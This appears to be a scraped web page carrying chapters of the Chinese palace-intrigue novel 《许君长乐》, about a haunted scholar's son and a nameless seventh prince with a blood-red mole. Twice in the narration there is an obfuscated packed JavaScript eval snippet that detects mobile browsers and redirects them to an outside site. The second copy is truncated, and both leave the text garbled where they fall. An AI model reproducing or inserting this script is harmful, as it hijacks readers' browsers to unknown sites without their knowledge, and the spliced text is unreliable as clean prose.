《许君长乐》 1. 无名魂 夜半亥时,绥京城中,刚刚褪去暑热的初秋微凉,一座闹中取静的大户庭院下,青竹幽幽,随着几缕绕梁的微风,筛着月影徐徐颤动。 红玉琉璃瓦下的庭院还亮着烛火,垂髫的小公子伏在一方青木书案前,借着秋夜凉爽,还在习着白天先生为他布下的字。 张氏的长公子张岁安,如今年方不过六七岁,腕下便已见风骨,他写得一手端方好字,青墨坠在笔尖,一撇一捺皆有韵致,似有无形之气在其袖间氤氲而开。 “公子,睡罢,夜深了。”侍从彭吉打着哈欠从廊下醒来,自己打了好几个盹,一觉醒来,公子竟还在笔耕不辍。 “等我练完。”张岁安声音清脆,头也未抬,专注如一入定老僧。 “这天下书文,哪有能练完的时候。”彭吉嘟囔着。 张岁安抬起腕口,沾了沾砚台上的墨,复而又埋下头去:“你若困了,就先去房中睡,不必侍候在此。”接着他顿了顿,似是猜出了彭吉心中那点偷懒又怕责的念头,又补上了一句,“明日苗娘问起来,我替你瞒着。” 彭吉在廊下挪了挪身子,望着幽幽烛火下那过分沉静的小小身影,只得无奈地叹了口气。 张家的这位小公子啊,哪哪都好,可就是太板正了,不过总角年岁,却处处都像个老头子,说话做事,一板一眼的,哪里有点孩子模样。 用隔壁光禄大夫家那位江崇江公子的话来说,就是张岁安这人,长着一张朱楼清倌人的脸,却生了颗老学究的心。 彭吉知道自家公子的习性,也就不再费心多劝,站起身来,扭了扭靠睡在廊下酸硬的身子骨,接着便走向侧屋安歇去了。 张家主君俭省,不喜人多,张岁安作为张府长子,身边贴身伺候的,除了侍从彭吉,也不过三两名婢女,别说是在遍地权贵的绥京城中了,哪怕是乡野豪绅家里都不至于这般寒酸。 这张家的老太公,曾是赫赫有名的开国元辅,袭国首智,历经四朝,门生故吏遍布四洲,可本该门庭若市的张府,如今却清冷得如一座闹市下的老庙观,不惹凡尘是非,不沾朱门权贵。 院子里没了人,空落落得只剩下竹影,整座庭院,就只剩下张岁安案头的那一盏孤灯。 一缕风卷起门前的碎叶,滴溜似的打着旋儿吹进屋内,吹得案前的张岁安心口一凉,就这一股气岔了神,笔下的字便歪了半撇。 他放下手上的笔,抬眼看了看案上的烛火,那豆大的火苗果然开始扑闪。 又来了。 “彭吉?”他心头一紧,声音也不自觉地微颤,可那股风却好似有灵,不愿旁人过来,“呼哧”一声,竟将两扇屋门给吹关上了。 此时,门窗严密,屋内无风,可那阵仗却未消停,案上的烛火依旧扑闪个不停,就好似刚才那一阵风送进来了一缕魂,正故弄玄虚地作弄着他。 张岁安一动不敢动,心中默念着孔圣人那“敬鬼神而远之”的教诲,不可怕,不怕。他深吸一口气,强行自定,继续握起笔来,明明手都跟着打颤,却还是自顾自地想把这篇字给练完。 他刚刚落下笔,案上的烛火便“噗嗤”一声,彻底灭掉了。 “鬼啊!”张岁安从黑暗中一窜而起,手脚并用地飞出门外,迎风叫嚷着,“彭吉,彭吉,有鬼——” 话音未落,便因夜黑看不清路,一脚踩空在门廊的梯下,整个人仰面朝天地栽在了青石砖上,连同三魂七魄都摔了个昏天黑地。 这一切,都要从张岁安那日在太初观后的山上,遇见的那一出奇象说起。 那日,山雨方歇,林中的雾气久久未散。雾气深处,似有一位老道正与一少年人攀谈。 那老道穿得破破烂烂,连发髻也束得不齐整,若不是那一身青灰色的道袍,还以为是哪个来此处蹭香火钱的乞丐。 而另一位少年人则身形模糊,真容难辨,他周身是雾,一身素白的衣袍仿若雾气织就,说不清是人是仙。 一老一少坐在石边,交谈的声音比那山间的雾气还要缥缈玄虚—— “吾游历四方,自南而归,闻其圣山有一绝物,名灵钥也,汝可知?”老道开口道。 白衣的少年人没有应答,整个人被周身浓厚的雾气裹绕,乍一看,还以为是老道在自说自话,身边根本无人。 老道也不在意,自顾自地絮叨:“莫要非念那红尘,汝乃甲木,上有水泽,下有土养,何故要去那凡宫断金生火?” 白衣人依然缄默,仿若山石。 “天命如锁,万物有衡,灵钥灵钥,解得了因果,却渡不了自身。” 老道摆了摆手,破破烂烂的袖口驱散了半边雾气,显得那白衣人像是化在了空中: “过执者,入无尽狱,受回环之苦,然执念不消,终是幻境难破,罢了罢了,随汝去,随汝去。” 张岁安就这样听了半晌,他虽不懂玄虚道术,却也听出了那老道的经纶,正想上前请教,刚走了一步,凛冽的山风倏忽迎面而来—— 漫山的雾气刹那间被吹得无影无踪。 随着雾气一同消失的,还有那石边的两人。 张岁安顿步恍惚,眼见着方才的两人就这样如幻影般消散于天地,心下骇然,莫非是真遇见了神仙?他定了定神,再抬头时,雨后山间清朗如洗,那石边只余下一棵青柏。 这棵柏树,他倒是认得。 这棵青柏苍劲葱郁,树干虬结耸拔,怕是已有了百余岁。 一年前,绥京城中遭逢大旱,山野草木多枯槁干涸而死。那阵子,张岁安为母守孝,常居在紫虚山上,见这棵古柏枝叶枯黄稀疏,不忍其就此凋零,便从自家井里取来水为它润了润根木。 幸而古柏坚韧,没在那年的大旱中枯死,不然活了如此年岁的古木,就这样没了,岂不可惜。 张岁安本来还在庆幸,自己亲手浇过的草木生灵,如今生得这样好,也算是积了些福德,谁知比福报先来的,竟是缠身的鬼魅。 自从太初观打道回府后,他便被“鬼”缠上了,忽而骤起的妖风,莫名熄灭的火烛,还总挑他独处之时作祟,不是鬼,是什么? 今夜这一摔,算是把他的三魂七魄都摔没了,接着,他便生了一场大病。 随后的几日,他都高热不退,卧榻不起,荼蘼清梦断断续续,梦中总是见着一缕魂,缠绕于身周,呢喃声声,听不清,看不明。 张岁安的父亲,张府的主君张淮之,是个刻板方正的老古板,从不信鬼神邪说。张府主母生次子时难产走了,连孩子也没能保住,如今府中唯有一位侧室苗夫人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445010|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗夫人是个安分守己的女子,她没有孩子,又是张岁安生母的随嫁媵妾,自然对其视如己出,平日里对他也是百般呵护,眼见张家就这么一个独苗,莫名其妙地病了不说,吃了那么多郎中的药都不管用,她心急如焚,无奈之下,只能暗中托人去寻访那太初观的芈仙人。 可这芈仙人平日游历四方,极其难找,加上主君张淮之又不信邪,偏不肯动用自己的朝堂人脉。 这张淮之身为士家大族的家主,在儒生中也颇有盛名,如今虽只在太学中担任博士祭酒一职,教书育人,不入九卿,但即便是三公大臣见了他,也都是平礼相待,当下自家的长子生了病,若明堂堂地去求神拜道,说出去实在有辱张氏的门楣。 府中小厮只能埋头硬找,一个月里,先后找来了数位自称芈仙人师兄师弟或是弟子旁系的江湖野道,个个替张岁安看了相后,有说是冤鬼未渡的,有说是道灵上身的,甚至还有说是仙胎未定的。 就连守在旁边的侍从彭吉都听得一头雾水:“什么仙胎鬼胎的,我家公子是男儿身啊。” “此胎非彼胎矣。”那野道人捻着胡须,故弄玄虚地说了一通,“或指北方贵人有孕,待胎元稳固,此魂自然便消了。” 苗夫人听得一知半解,勉为其难地问道:“仙人的意思是说,是那急着投胎的小魂误打误撞,缠上我家公子了?” 野道人眸色一定:“是也。” “那可有解法?”苗夫人如今也是死马当作活马医,只要能让张岁安好起来,管他是鬼是神是胎是魂。 “夫人莫急,待我画符念咒,驱驱那小魂。”野道人说罢,旋即作出一副被雷劈了似的模样,喋喋不休地念着符咒,念完往黄纸上一通乱画,最后点火一烧,将纸灰融成符水一碗。 彭吉和苗夫人面面相觑,甚是汗颜。 “这是这个月的第八碗了......”彭吉接过符水,看向床上梦魇缠身的张岁安,“再喝下去,公子都快成符水缸了。” 只是这符水一碗接一碗的喝,病却一点也不见好。 烛火将熄,人心亦焦,终于,在某个走投无路的夜里,主君书房里传来了苗夫人撕心裂肺的哭声。 “主君,公子是您的长子啊,是姐姐嫡出的长子啊。”苗夫人平日恪守本分,将后院之事打理得井井有条,从不让主君操半分心,但真要闹起来,那阵仗也是一哭二闹三上吊,“公子若是有个三长两短,妾如何对得起姐姐在天之灵,您又如何对得起张氏的列祖列宗啊!” 苗夫人没读过什么书,但心肠是热的,她自然不理解,做父亲的,见着自己孩子病得半死,为何就是不心急呢。 可她不知,张淮之如今几乎算得上是大隐隐于朝,为了让圣上对张家少几分忌惮,万事谋定而后动,三思而后行,这家训算刻进了张家人的骨子里,没有到无药可医的地步,张淮之是万万不会去请太医的,一旦动了宫中的人,陛下那边便瞒不住了。 可见苗夫人哭得肝肠寸断,形同疯妇,张淮之看着,听着,也心知岁安这病,确已到了束手无策的地步。 张淮之长叹一声,枯坐半夜,次日天明,还是亲自写了帖子,遣人送入宫中去请太医。 果然,太医的轿辇还未到府,陛下召他入宫的口谕就先到了。 2. 中宫喜 张淮之接了口谕,净面整冠,换上朝服,泊了车马入宫觐见。 绥京城的晨雾尚未散尽,街市上筹备早食的小贩刚刚烧热了锅炉,道路两旁蒸雾腾腾,张府的马车一路碾过露气,朝着那四方城去了。 当朝的景和帝与张淮之是伴读之交,对于这盘根错节的士族,他既想打压,又想利用,而对于张淮之这个遇事三缄其口的士族大家主,那是更是又爱又恨。 爱他才华斐然,又恨他明珠藏匣,就连朝政上遇见什么事想问他两句,他也看似侃侃而谈,实则答非所问,像是生怕自己说的话有用,隔日就被景和帝赶鸭子上架似的。 这些年,景和帝威逼利诱的手段都使尽了,张淮之也是雷打不动地以退为进。 景和帝用好书好画赏他,他便睁着眼说瞎话称自己看不懂。 景和帝找来绝世佳人要给他床头添香,他又一向不好女色,连处像样的厢房都不给人家腾。 景和帝威胁他要外放张氏一族,张淮之更是喜不自胜,隔日回府就开始收拾细软。 眼见张淮之这头老牛不肯喝水,景和帝也没法硬按头,便只能把心思放在那张氏的其他子弟身上。 只是这张淮之家中就一妻一妾,半生也只得一独子,对于这棵独苗,景和帝是看得比张淮之这个亲生父亲还要紧。 “勿迁啊,听闻你家长子病了,病得可重?” 集贤殿中,鎏金鹤炉溢出薄烟缕缕,今日无朝会,景和帝一身常服,漫不经心地翻看着北墙檀木架上的奏议副本。 “回陛下,犬子体弱,实乃风寒反复而已。”张淮之躬身应道。 “听闻你家这位小公子,三岁习字,五岁作诗,小小年纪,颇有你当年的风采啊。”景和帝顿了顿,朗声笑了,自顾自地忆起往昔趣事来,“想来你当年,也是这个年纪就入了宫。朕幼时顽皮,张老太傅不敢训诫朕,就只能冲着你去,每次朕一犯错,你就得挨打,现在想来,真是苦了你了。” 张淮之的目光始终落在景和帝脚下的地面上,一丝一毫都不曾动过:“陛下圣体,不可有损,家父责罚臣,合乎情理,况且代君受过,乃臣子本分,何苦之有。” 他处处躲着避着,实是为了自保。如今皇室子弟中,大皇子早夭,二皇子常年镇居边境,三皇子乃朝中之长,其母妃赵氏一族又是景和帝一手提拔起来的寒门新贵,说是新贵,其实就是制衡士族的手段而已。 若景和帝有意立储,三皇子或为首选,可此举不得士族之心,届时必然又是一番争来斗去。 张淮之心下想着,如今正好,岁安他病了,干脆就让他一直病着,免得卷入这乾坤未定的朝堂纷争。 景和帝忽而又开口道:“朕近日神思烦忧,总是想起太傅来,想起昔日他教导朕言,我大袭之困,必有一日将始于内忧,而终于外患矣。”他顿了顿,眉头微蹙,望向堂下之人,声音沉了几分,“若你我都不能一心,又如何能让大袭在这乱世之下永存?” 张淮之一顿,默而不言,景和帝之言,正正戳中了他心下最为烦忧的痛处。 天下兴亡,匹夫尚且有责,更何况他张氏乎。 张老太公张歧山,人称四洲三智之一,是开国元辅,更是四朝老臣,他一手扶起了大袭国的半壁江山,养大了三个皇帝,临老了却被卸掉兵权,废去相位,只以太傅一职,养老至终。 太傅之位,对别人来说,或许是帝师之荣,可对张家来说,却更像是一种警示。 临终时,张老太公只留下一句话:“张氏一族,不宜再出宰辅之臣。” 张淮之对父亲的这句临终之言,是刻骨铭心,谨言之慎行之,生怕展露半点头角。可是,覆巢之下安有完卵,大袭若有国危,张氏难道还能自保吗? 他默了良久,继而开口答了景和帝的话:“臣只一子,幼子体弱,不宜外出,待太医瞧了,将养好后,臣必带他来向陛下回话,叩谢陛下为其忧心之隆恩。” 景和帝见他态度有所松动,面上也随和了几分:“好,等他病好了,带他来,朕有一方好墨要赐于他。” “谢,陛下隆恩。”张淮之伏首叩谢道。 他心事重重地走出了集贤殿,殿门正南方二十步外,有一方青石板铺成的月台,月台上立着四只狴犴,昨夜下过一场小雨,此时的石兽被浸得青黑乌亮,个个昂首蹲踞。 传说中,龙生九子,而狴犴为其第七子,狴犴好讼,常被世人认作是明辨是非的神兽,张淮之望着这几只石兽,不觉陷入沉思。 如今乱世未定,天下四分,西有胡伥肆虐,北有刘朔雄踞,南有洪疆称雄。而东边,这片领土最小的国境,便是他们的国土。 父亲张老太公算无遗策,他怎么会料不到袭国今日之困顿?但却还是留下那样一句遗言,细思之下,张淮之心中只有一个答案,那便是父亲早就算中了袭国的结局。 东袭国,它生于乱世割据之下,或许也必将亡于其中。 南疆曾有一古说,传说这世间的智者,皆为灵钥子转世,他们算尽天下,却不可入世,涉他人因果者,必要负他人之轮回,试图以凡胎之力,改天下之命者,是会遭天谴的。 张老太公是不是所谓的灵钥子转世,张淮之不知道,但自己肯定不是,他有自知之明,若真到国破家亡那一日,自己肉骨凡胎,能保张氏一丝血脉尚要倾尽全力,至于扭转局势之乾坤,还是交由天定,交由那些不惧天谴的非凡俗之人去做吧。 张淮之定了心神,在宫人的引路下,缓缓朝着宫门外走去。 袭国宫中多流水草木,只是临到秋日,绿意褪尽后,反倒徒增了几分颓败,阙楼的宫墙高耸且深,青砖灰瓦在雨后更显冰冷,晨雾已散,艳阳却未开,绵延的阴云压在穹顶,闷得人心亦沉。 张淮之脚步轻缓,人还没走出宫门,就与急匆匆的入宫之人撞了个正着。 抬头一看,是太医署的太医令。 “老臣,见过祭酒大人。”太医令作揖行礼道。 张淮之抬手回了回礼,见对方步履匆忙,便随口问道:“太医令何故如此惊慌?” “中宫……”太医令激动得一口气险些没喘上来,“中宫,有喜了!” - 景和十六年,中宫有妊,枢臣闻变,忧储位之更迭。 陈皇后如今三十有四,自皇长子早夭后,十年未曾诞育皇嗣,竟然在这一年有喜了。 虽说是男是女还未可知,但中宫有孕,那是普天同庆的大喜事,更何况袭国士族向来重视嫡长,陈皇后又是开国将臣之后,若真能诞下皇子,那简直就是给朝臣们生了个小祖宗。 可陈皇后自孕后,却从未开颜笑过一次。 她大龄怀胎,能否顺利产子尚且不明,更何况,这后宫之中还有暗箭。 为了打压士族,景和帝独宠赵贵嫔,赵氏原不过京郊一铁户,如今一女得道,全家跟着鸡犬升天不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“下针吧,落胎,保皇后。”太医令低声道。 “你们敢!”陈皇后目眦欲裂,几乎吼破了嗓子。 “请皇后恕罪,此乃圣命,臣等不敢不遵。” 陈皇后面色惨白,大喘了两口气,提起最后一把力气,连声喊道:“陛下,陈氏父兄俱亡,满门忠烈,换了一个皇后之位,如今吾也不要了,吾就要孩子,陛下,吾要这个孩子……” 皇后声嘶力竭的哀鸣响彻半宫,连磅礴的雨夜都好似在跟着泣颂。 漆黑的穹顶之上,忽然闪过一瞬惊雷,耀眼电光映得天地惨白一片,随之而来的,是那婴儿的啼哭声。 “生了,皇后生了,是皇子!”太医连连惊呼,宫人们声声相传,“天佑大袭,皇后诞下了七皇子!” 宫人抱起血泊中的婴孩,用温水替他洗净血污,借着摇曳的烛光看清时,方才还狂喜的人们,忽而又齐刷刷地噤声了。 “孩子,快让吾看看孩子……”陈皇后撑着身子道。 宫人们面面相觑,将小皇子用襁褓好生包裹后,送到了皇后枕边。 皇后侧过头,定睛一看,本就煞白的脸色此刻更是冷如石像。 在袭国的民间传说中,红痣被视为血煞,有此异相者,命格孤绝,刑克至亲,是天煞孤星之命。 而皇七子光洁幼嫩的眉宇间,竟就赫然生着一粒殷红如血的朱砂痣。 3. 眉间痣 宫中久无皇子诞生,中宫生下嫡出的七皇子本是喜事,可长宁殿的红绸却迟迟没有挂出。 太常寺太卜连夜被一封密诏召入了宫中。 暴雨已停,宫人提着灯笼在前引路,光线忽明忽暗地扫过长宁殿的廊柱下的积水坑。 太卜远远地闻见了血腥之气,心中便已猜到几分端倪,若真是喜脉得续,宫城内外早就锣鼓喧天,哪会像现在这般死寂,自己被秘密召入宫中,定是皇后这胎有恙。 长宁殿中,廊下的湿雨还未干透,即便是熏着香,却还是能闻见凝滞的湿气,似有若无的血腥混着煎熬的药香,捂在帐幔间黏腻难透,暖阁中微微溢出些许摇曳的烛火,宫人们垂头收拾着,个个闷声不敢言语。 直到乳母抱着襁褓从暖阁中出来,太卜才得以躬身细看。 七皇子闭着眼睡在襁褓中,眼睫纤长如翼,脸上泛着薄薄的胎红,眉眼周正,甚是可人,偏偏就是那眉心生着一点朱砂痣,像是那刚从伤口中沁出的血滴,鲜红刺目,衬得周遭的皮肤都有些青白。 太卜不觉喉头一紧,额角溢出一层薄汗。他侍奉灵台多年,观星象,解谶语,却还是头一次见到这般扎眼的异相,还偏偏就生在这帝王家中。 异人异相,要么是青史留名的天命之子,要么是搅乱朝局的煞气祸根,可无论是哪一种,都由不得他一个小小的太卜来一锤定音。 眼下这位嫡出的七皇子,若说他是天命福星,可万一之后若有灾祸,自己便会因断语错判而获罪。 可要说他是不祥凶煞,他又毕竟是嫡皇子,陛下若是有意授其大业,自己指不定又会因污言诅咒而死无全尸。 太卜将小皇子的生辰八字写于黄纸上,案上的龟甲摩挲了几遍,三枚铜钱掷出,落在蓍草间的,竟是个不上不下的静卦,天机不可泄露,可见诸神都不愿沾这趟浑水。 连天命都不愿意背书的事,何苦要落到他这个小小的宫廷卜官头上? 袭国人虽尊信天意,但作为日日与神示打交道的太卜来说,他深知神仙才没那个心思管这官场的是非,神仙不愿来,可这决人生死的人间皇就坐在堂上,作为一位小小的卜官,算得准,不如说得稳—— “回陛下,眉间乃上丹田,是元神所寄,有痣者,或为灵光聚顶之兆。”太卜先抛出几句好话试探圣意。 景和帝眸色一沉:“可朕听闻,民间都说红痣带煞。” 太卜揣测着圣意,顺着景和帝的话头继续说道:“这孤煞克亲之说,民间也确有其言,但七皇子身份尊崇,圣上与皇后非凡俗之命,有圣泽庇佑,自然不惧此等邪说。” “照你之言,是指朕命硬,不怕他克。”景和帝顿了顿,“若此子日后当真克亲,你可担待得起?” 太卜一听,噗通一声跪倒在地,连同身上七零八落的宝贝物件一齐散在地上:“回陛下,臣并非此意,只是卦象所指。”他顿了顿,继而找补道,“煞气之说,古籍有载,无名则气藏,无姓则势敛,不冠姓,不赐名,或可化其煞气。” 太卜说完心下就有些后悔了。 无名无姓,便意味着此子未被世俗家人所认,如同将所谓的煞气关进了未开封的容器之中,以此来避免其与亲族气运相冲。 若是寻常百姓家的孩子,倒也可行,可帝王家的皇子,无名无姓便入不了宗庙,这与直接将他除名于皇室之外,有何差别? 可君前失言已是大罪,反复无常更是找死,这话既说出去了,就没有撤回的道理。 殿外的风更紧了,吹得门廊呜呜作响,烛影交错,人心明灭,神仙难断,就只能祈求圣裁了。 只是这深宫之中,哪有什么绝对的吉凶?景和帝想要的,不过就是个能让他安心的说法罢了。 听完太卜的一番话,他扶额揉了揉眼角,半晌后,才低声唤道:“常玉。” 中常侍常玉躬身上前:“奴在。” “传朕旨意,皇后诞皇七子,赏长宁殿上下,但皇后产后体弱,需静养,贺宴觐见一应免了。”接着,他目光陡然转厉,冷眼望向堂下众人,“皇子血痣异相一事,不得外传,若有违者,斩。” “喏。” 众人纷纷跪下应着,唯有襁褓中那不知世事的婴孩,冷不丁地咯咯笑了一声。 这一笑,在冷寂的殿中显得尤为突兀,惊得抱着他的乳母都跟着一颤。 景和帝起身,几步走到跪倒在地的乳母身前。 乳母见景和帝站在身前,望着幼子,又不言语,慌忙以为是陛下想要抱一抱七皇子,旋即颤颤巍巍地抬起手来,将七皇子举过头顶。 景和帝看清了那襁褓中的婴孩,眉间的红痣像烧红的针一般,刺得他眼神发疼。 克亲之说,只是民间玄谈,信与不信,不过在圣上的一念之间。 “皇七子初生体弱,弱子待养,无名避冲,尔等便以其行第称之罢。” 景和帝轻飘飘地留下一句后,便转身离殿起驾了。 而陈皇后产后气血亏尽,却撑着一口气活下来了。 或许是因为怕自己死后,七皇子无人庇佑,又或许是怕应了这孩子克亲的污名,她半只脚踏进了阎罗殿,绕了一圈,硬是又从鬼门关里爬了出来。 七皇子一天天长大,却不能外见臣民,更不能称自己的亲人一声父皇母后,只能照他人那般,称父亲为“陛下”,称母亲为“皇后”。 四方城中的风吹得长宁殿的梧桐树叶哗哗作响,老叶混着新蕊,透着清苦的香。 小七皇子坐在树荫下,一撇一捺地习着皇后为他布下的小隶。 写到“名”字时,他笔尖一顿,忽而抬头问道:“皇后,陛下为什么不给我赐名?” 他终日头上都系着一条抹额,为的是不让外人看见他那枚吉凶不详的血痣。 “因为有了姓名,小七就是记在宗谱上的皇子了。”陈皇后捋了捋小七脑后的长生辫,慈蔼地笑道,“没有名字,小七便只是吾的孩子。” 小七咧开嘴,露出尖尖的乳牙笑道:“那小七要一直做皇后的孩子。” 陈皇后望着他,暗自哀默,她自己的身子,自己最清楚,生产那日亏空了气血,她护不了这孩子太久。 可哪怕多活一日,她也要为他寻条生路。 自从陈老将军和三个兄长都战死在北境后,陈氏一族剩下的亲信也不多了,后宫赵氏得宠,不是久留之地,不如把小七早早送出宫去,找一位江湖高人庇佑,这样一来,即便与帝位无缘,至少能保他性命。 - 景和二十三年,陈皇后向景和帝请旨,送皇七子入观,拜太初观芈仙人为师,从此不入皇族宗庙。 送行那日,阴雨绵绵,铅云压着宫墙,雨丝斜斜地打在琉璃瓦上。 陈皇后执意要亲自去送,车马出了城,行至紫虚山下便停住了,她牵着小七的手,不行车,不乘轿,一步一步往长梯上迈。 小七还以为是出宫来玩的,双腿并着,在台阶上一步一跳,石阶被雨水 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陈皇后看了半天,不懂其中的门道,只是都说那芈仙人是得道高人,想来这高人说什么做什么,自然有他的道理。 “这定是仙人的道石吧?”她问道。 “非也。”清虚道长微微一笑,一本正经地解释道,“仙人说,这尊巨石,啥也不是,只是因为长得诡异,所以更能唬人罢了。” 小七一听,反倒来了兴致,松了皇后的手,跑到那尊石头跟前绕了三圈,接着回头笑道:“皇后,这块石头,好像一只猴。” 清虚道长见状,回头冲着愁眉不展的皇后轻声道:“贵人放心,他与仙人有缘,定能得其庇佑。” “那就,有劳仙人照顾了。”陈皇后看着小七绕着石头的背影,默了良久,最终还是在宫人的搀扶下,一步一步地朝着山下走。 当小七回头时,皇后的身影已经不在了。 长梯上空荡荡的,只有雨丝在风中打着旋,他心口一慌,不顾道人的阻拦,连滚带爬地冲着原路去追,远远地望见陈皇后被扶上了回宫的马车。 “皇后,不要走。”他扯开嗓子喊着,声音被雨砸得七零八落,小腿踩过泥泞的山道,深一脚浅一脚地往前追。 但马车却没有一丝要停下的意思。 大雨洗刷过他的脸,分不清是雨是泪,直到他开口大声叫了一声:“母后!” 马车忽然停了。 车帘被掀开,陈皇后扶着宫人的手下来,脸上的泪还没擦干,被风一吹,泪痕像道浅浅的疤,回头望着跑得上气不接下气的小七,眼圈又红了。 小七破涕为笑,连忙扑上去抓住她的衣角:“母后,母后回宫怎么不带上我?” 陈皇后不顾一地的泥水,蹲下身子,指尖轻轻抚过他被雨水打湿的额发,平视着他轻声道:“小七,皇宫不是你的归处。” “可我是母后的孩子啊。”幼子眼中迷茫。 “留在这里,”她的声音轻得宛如叹息,”母后会常来看你的。” 说完,她站起身,像一抹消失在山雨间的影子,再不敢回头。 小七在雨里站了许久,直到道长把他带回了观中。 他日日等,夜夜盼,太初观的晨钟暮鼓敲了一遍又一遍,草木枯了又绿,不知为何,他总觉得母后不会再来了。 终于在半年后,他等到了从宫里传来的消息,皇后薨逝了。 4. 乱世评(上) 自陈皇后薨逝后,关于皇七子克亲的传闻还是在绥京城中传开了。 民间私下窃议,若不是克亲,堂堂皇子,怎会无名无姓,还被送入山野观中,认了一座石头作师长。 这些传言像风一样吹过绥京城,又如雨一般瓢泼一场后,逐渐褪去了声势。 隔年,宠冠六宫的赵贵嫔诞下一女,景和帝大悦,亲封为玉瓒公主,取《诗经》中“瑟彼玉瓒,黄流在中”一意,可见景和帝对其之偏宠。 玉瓒公主五岁这年,恰逢赵贵嫔所生的三皇子行束发礼,桩桩喜事接连涌入赵家门楣,朝野上下,无不贺之。 同年,赵贵嫔的兄长赵青得封司隶校尉一职,其族亲也被迅速提拔至执金吾,监京师百官,掌绥京城防,一时间,赵氏一族权势盛极,风光无两。 袭国上下,家中有女生得玉颜色者,都恨不能送入高门显贵,以求阖家升平。 这一年,张岁安也年过十九了。 他早早就入了太学,如今虽身无官职,却被同辈子弟们尊称一声“小夫子”,若不是年岁不及,恐早就得了个太学博士的职务,在学府中教书育人了。 这年春日,张府的青竹长得又高又密,拔尖的一截都飞出了庭院,此时正被一精壮公子踩着竹梢,齐刷刷地飞蹬了两腿,竹叶簌簌飘落间,他也飞到了瓦檐之上,悠闲自得地坐在顶上,望着满园春色晒太阳。 只是他脚下带落的竹叶,全都随着一阵风卷着,纷纷扬扬地扑向了院中的亭下。 亭下廊柱边,一位身着锦绣罗裙的女娘正捧着一方竹简看得入神,忽然一阵乱风骤起,扑扑竹叶卷着灰就朝她面上扑来,呛得她惊呼一声:“江崇!这是张府,不是你家院子。” 侍女贞儿闻声慌忙上前,用身子挡住风势,捧着自家女公子的脸,用手绢小心擦拭着她发红的眼角:“哎呀,这竹叶里的风迷了眼睛,可要疼坏了。” 屋顶上的江崇隔得远,听不清下边儿的埋怨,可同在亭下的张岁安,与之不过三步之遥,却也只一心埋头在自己的那盘棋局里,两耳不闻身外事。 侍女贞儿眼见这位与自家女公子早早就定了婚约的张家长公子如此不解风情,遂刻意又提了几分声量,旁敲侧击道:“公子,我家秋女公子被风迷了眼睛。” “嗯,彭吉。”张岁安一双清俊的眉眼只顾传神地落在石案上的棋盘间,他入定一般,愣愣应道,“去打清水来,替阿秋梳洗。” 侍女无奈地摇了摇头,正想扶着秋女公子下去梳洗,却见她眨巴了两下眼睛,抹了抹脸无所谓道:“哪里就那么娇气了,不碍事了,不用梳洗。”随即自顾自地捧起书简,继续津津有味地读了起来。 这徐氏的女公子名叫秋还,是老司徒家的小女儿,生得眉若细柳丝,颇有才女之相,与张氏长公子可算是旗鼓相当,郎似竹,妾似柳,是任谁见了都要赞一声的好姻缘。 亭中刚刚清净了片刻,忽而又听见屋顶上哐当一声,像是瓦片被踩错了位。 接着就见那江崇抬脚一蹬,窜了半尺高,在空中打了个旋儿,从屋顶上“蹭”地一下飞了下来。 这次倒是没有掀起什么尘土,只是这屋顶上忽然飞下来一个人,把刚进院子的苗夫人给吓得够呛:“江公子!你飞到房顶上去作甚啊?” “苗夫人?”江崇转身一看,挠着脑门嘿嘿笑道,“是我失礼了,我就想试着跳上去看看,从张府的屋顶能不能看见我家的后院。” 苗夫人捂着心口叹气。这阵子正值地方州郡举荐才人,张淮之受了委派巡查去了,没了主君在家,张府自然就成了这群少年人的聚面场子。 尤其是这位光禄大夫家的江公子,没事就往张府跑,来了就在院里飞来腾去的,跟只脱了绳的猴儿似的。 “江府后院那般宽敞,你何故要跑到这边来飞檐走壁?”徐秋还在廊下看书,头也不抬地讥讽道,“还不是怕被江伯伯打。” “谁说的?”江崇不服气,大步往廊下走道,“我如今都是车骑尉郎官了,谁还敢打我。” 车骑尉下属的郎官算不上什么要职,但江崇还是逢人就说,只因他觉得这是自己在校场上跟别人打了两年架,凭本事过了武比得来的,并非是受父辈的荫封。只是他虽有这个本事,但大家却也都知道他姓江。 可徐秋还就没这么幸运了,她虽是三公重臣之后,出身高门,又有才学,若是个男儿身,谋个朝职自然不在话下,可惜是个女子,徐氏的身份,不过是能让她嫁个同等门楣的夫婿,譬如张氏。 徐秋还看完了手上的书简,缓缓将其卷合上,垂头黯然道:“子康哥哥的这篇论议写得真好,果然,太学还是不一样的。” “徐氏的私塾不好吗?”张岁安随口应道。 “总觉得太学的夫子,教的东西更多更大,私塾的先生,只教些识字解经,却从不教我评议现世,说这些非女子所议。”徐秋还将书简递给侍女,接过下人奉的茶水,微微饮了一口。 江崇听了徐秋还的埋怨,词不达意地见缝插针道:“连孔夫子都说过,非女子与小人,难养也。” 张岁安落下最后一子,终于结了这场自相互博的对弈,他腾出心思来,沉声替阿秋辩了一句道:“尽信书,不如无书。且不说袭国女子中,有贤母,有烈女,那南疆国坤仪王也是女辈,莫要以偏概全。” 江崇身手好,在同辈之中无人能出其右,但论嘴皮子上的功夫,张岁安若论第二,太学之中无人敢称第一,他要是认准了什么道理,就连五十多岁的老夫子都不一定能吵得赢他。 “君子不立于危墙之下,我不跟你吵。”江崇认命道。 转眼一看徐秋还,她眼中流露出三分对张岁安的钦慕之情,三分对江崇吃瘪的得意之相,剩下四分化作一个白眼,冲着江崇暗自声道两个字:“武夫。” 江崇拳头紧握,可惜他从不对女人动手,每当这种时刻,他甚至比徐秋还更希望她是个男子。 反正论理论不过,江崇只好又使出老一套,酸溜溜地冲着张岁安告状:“张子康,你夫人骂我,你不管管?” 